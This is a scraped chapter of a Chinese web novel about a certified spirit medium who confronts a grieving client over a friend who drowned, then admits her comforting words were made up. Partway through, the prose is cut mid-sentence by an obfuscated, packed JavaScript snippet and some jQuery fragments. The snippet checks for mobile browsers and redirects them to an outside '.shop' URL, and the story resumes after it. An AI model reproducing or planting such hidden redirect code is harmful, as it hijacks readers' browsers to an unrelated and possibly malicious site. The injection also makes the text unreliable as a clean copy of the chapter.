文趣网 > 其他小说 > 遗言追溯师 > 2. 咕噜咕噜(2)
    欧杨雪不止明白了保镖存在的意义,还想帮委托人报警。

    她斜睨一眼躲在保镖身后的卫风絮,心中激荡着鄙夷之情,甚至思考着这份兼职工作还要不要继续做下去。

    但是,辞去这里的工作,像这样完美迎合她课余时间且出价高的兼职还能上哪儿找呢?

    纠结良久,她终究败在了金钱诱惑之下。

    捂住良心,默默向委托人致歉,闭上眼深深吸了口气,平复震惊与矛盾的心情。

    与她不同,宋烟川此刻根本没空思考这些问题,委托人手上的单肩包正“呼呼”往他身上招呼,砸得他渐渐失去耐心。

    原本只是张开手臂阻止委托人绕后接近卫风絮,如今改守为攻,当单肩包再次迎面砸来时,宋烟川一只手抓住包,一只手抓住委托人手腕。

    “女士,暴力解决不了任何问题,我建议你报警!”

    宋烟川从纪言诗手中夺过包的同时,一边限制住对方行动,一边带着脾气喊出了声。

    这声喊叫成功唤醒纪言诗的理智,她从宋烟川手里挣脱,后退两步拉开距离,边喘气边整理额前凌乱的发丝。

    待气息顺畅后,她怒瞪着宋烟川伸出手,不客气地命令:“包还来,我要打电话。”

    见纪言诗不再动粗,宋烟川将高举的包递还回去。

    不过,卫风絮没给他这个机会。

    他手刚往下落,卫风絮就用力掐了一下他的后背,快步绕到他身侧,眼疾手快抢过包,又快速绕回他身后,动作一气呵成。

    “事情没严重到需要报警的地步吧?”卫风絮将单肩包抱在怀里,警惕着纪言诗再靠近,顾不上优雅冷艳的人设,满脸堆笑,好声好气劝说,“误会,都是误会,我有灵才协会颁发的灵媒证,怎么能是骗子呢?”

    在岳晨镇,想要以灵媒身份谋生,需通过灵才协会考核,持证上岗,就连委托都是在官方平台——灵才网上进行的。

    正是考虑到有官方认证,又因为刚注册半年的新人灵媒价格比较优惠,纪言诗才会选择向卫风絮发送委托。

    “误会?!”纪言诗的声音因愤怒与震惊变得尖锐,“你怕不是花钱找关系滥竽充数的骗子吧!要真有本事,至于敷衍至此?什么咕噜咕噜,你……”

    一想到刚才卫风絮把人当猴耍的表演,纪言诗情绪愈发激动,差点气笑了,脑子和心一样乱,一时不知道骂什么才解气。

    她说着又想上前,恨不得抓烂卫风絮的脸,可惜再次被宋烟川高大的身影挡了下来。

    对方人多势众,一种被人当猪宰的委屈感逐渐袭上心头,纪言诗气红了眼眶。

    “你……你们……看我一个人来好欺负是吧?告诉你,这事没完!退款,道歉,我一定到灵才协会投诉你们……”

    说着说着,纪言诗带上哭腔,无可奈何地蹲下身,边抹眼泪边说威胁的话。

    宋烟川身体虽在防守,眼睛却偷瞄着藏在身后的人,嫌弃的表情几乎快藏不住了。

    只听身后传来一声轻叹,卫风絮提着单肩包从宋烟川身旁绕了出来。

    她低头盯着纪言诗,冷冷道:“钱是不可能退给你的。”

    此话一出,纪言诗满眼错愕地抬起头,眼神仿佛在看一个疯子。不止纪言诗,宋烟川和欧杨雪也以一种难以置信的神情看向卫风絮。

    唯一没表现出惊讶的只有赵临满,可她也很头疼,她的这位朋友是真不会用缓和的方式解决问题。

    就在众人异样目光的注视下,卫风絮将单肩包放回纪言诗脚边,若无其事地继续说:“你明明知道,她是意外坠海,那天风浪太大,她独自在船尾拍照,为了拍照好看,甚至自作主张脱了救生衣,结果因船体颠簸跌落海里,等你们发现时,她已经溺亡了。”

    卫风絮以近乎冷漠的语气陈述纪言诗不愿回忆的过去,直戳痛处。

    纪言诗愣在原地,呆呆地抬头盯着俯视自己的人,微微开合的双唇有些发抖,一句反驳的话都没说出口。

    “她当时害怕极了,根本没有时间思考别的,她喊不出一个字,一张嘴,海水直往她嘴里灌,海浪将她推离游艇,也渐渐将她吞噬,死亡骤然降临。”

    仿佛眼前出现当时的画面,卫风絮边回忆边讲述,丝毫不在意听的人如今是何种表情。

    蹲在地上的人腿一软,一屁股跌坐在地上,泣不成声。

    卫风絮见状却没有闭嘴的想法,蹲下身子,视线从俯视变为平视,加重语气:“你问她恨不恨你?别傻了,人死了就什么都不存在了,哪还有恨。”

    “不,不,是我没照顾好她,是我,都怪我,我明知道她不会游泳,就不该让她离开我的视野。”纪言诗吼叫着打断,不停摇头,任眼泪弄花脸上的妆。

    对于卫风絮说的话,她不愿接受似的,用手堵住耳朵,不想再听下去。

    可卫风絮硬掰开她的手,不近人情地继续:“真正恨你的人从来不是牟安,是你自己。与其把钱浪费在找灵媒上,不如尽早去看心理医生!”

    绷着一副恨铁不成钢的表情喊出后半句,卫风絮稍加停顿,见被她抓着手腕的人跟丢了魂一样眼中黯淡无光,她无奈叹了口气,收敛起翻涌出的情绪,妥协一般放低声量,用只有纪言诗能听清的声音补充一句。

    “你们曾约定,在你下次生日前教会她游泳,她很抱歉食言了,希望你别怪她。”

    说完最后一句话,卫风絮缓缓站起身,抚平发皱的衣摆,悠然转身找了张椅子坐下,轻轻揉着额角,不再理会纪言诗。

    赵临满匆匆跑向卫风絮,低声说着关心的话。

    欧杨雪则小心翼翼靠近纪言诗,伸手想要扶她起来。

    纪言诗无视欧杨雪的好意,用手背在脸上抹了一把,抓起地上的单肩包,爬起身,找回碎屏手机,什么话也没说,径直离开了咖啡店。

    在纪言诗如一阵风离开后,店门缓缓合上,店内又恢复安静。

    欧杨雪尴尬地看看宋烟川,又看看卫风絮和赵临满,此刻的气氛让她不知怎么开口询问可不可以下班。

    宋烟川完全不慌,仿佛不在乎工作时间长短。

    好在尴尬的沉默没有持续太长时间,卫风絮主动招呼二人:“今天的工作就到这里,先回吧,下次委托确定后再另行通知。”

    “不用我送卫大师回家?”宋烟川确认。

    卫风絮面带疲惫,摇头拒绝:“不用,没什么危险,我再坐会儿,你可

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768029|209803||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    以下班了。”

    “行,有事再联系。”宋烟川洒脱地留下一句话,转身走出了咖啡店。

    欧杨雪本想跟着离开,没走两步,又在纠结中停下脚步,忐忑地回头问:“卫大师,今天的委托人会不会投诉啊?要是灵才协会来调查,我该怎么应对……”

    说实话,她挺害怕卷入诈骗案,也不知会不会给人生留下污点。

    相比她的担忧,“诈骗犯”本人似乎并不在意。

    卫风絮摸着下巴思考片刻,一本正经地回答:“应该不会,但以防万一,今晚你看看灵才网上会不会出现差评,如果有,赶紧删掉。”

    “啊?”

    欧杨雪大跌眼镜,内心叫苦不迭。

    这老板什么人啊……这么做生意真的没问题吗?

    她暗自在心里将卫风絮这个骗子骂了一顿,表面却没敢表露真实情绪,随口应了声“哦”,继续往店门口走去。

    突然,卫风絮又出声叫住她,她以为老板终于意识到问题所在,忙问何事。

    卫风絮一脸严肃地强调:“今后委托坚决不接溺水身亡案件。”

    欧杨雪:“……”

    果然骗子就是骗子,不会自我反省。

    欧杨雪扭头就走,脚步加快,推门离开,一刻也不愿多待。

    望着兼职助理匆匆离开的身影,卫风絮一脸疑惑地问赵临满:“那孩子跑那么快干嘛?”

    赵临满扶起倒地的椅子,拾起散落一地的委托文件,漫不经心地回应:“看你通灵,可能真以为有鬼吧。”

    “现在的小孩真好骗。”卫风絮感慨。

    赵临满将纸质资料和便签纸塞进文件袋,递给卫风絮,再次确认:“先别管别人了,你呢,身体没事吧?”

    卫风絮捏了捏眉心,“被硬拽进大海,现在闭眼还有窒息的感觉,今晚估计不用睡了。”

    “又准备熬夜?要不我去陪你?”赵临满抚上卫风絮的肩头,满脸写着不放心。

    卫风絮浅浅一笑,反手拍了拍赵临满的手背,“早习惯了,吃点甜食,很快就能缓解,你还是早些回去陪家里那位吧,否则又该怪我霸占人妻了。”

    见卫风絮还有说笑的心情,赵临满松了口气,按在卫风絮肩头的手紧了紧,没接打趣的话题,转而打听:“跟纪言诗说的那些话都是你编的吧?”

    卫风絮闻言低下头,勾起的唇角缓缓落下,声音变沉了几分。

    “开始不是,在海里那人确实只能发出‘咕噜咕噜’的声音,说实话的结果你也看见了,这也许才是鬼魂存在的意义吧,有时候鬼话比人话更能安抚人心。”

    她没能从死者口中问出委托人想知道的答案,但她知道委托人只是想听一句原谅的谎言。

    放不下的从来不是死去的人,而是活着的人。

    说完这些,卫风絮打起精神站起身,拿起写着“纪言诗”三字的文件袋,与赵临满一同走出了咖啡店。

    赵临满帮她叫了辆出租,送她上了车,又叮嘱几句诸如“明天不用来店里帮忙”“好好在家休息”之类的话,目送着她乘车离开。

    当赵临满步行去停车场取车时,一辆车从身边掠过,悄然跟上了卫风絮乘坐的出租。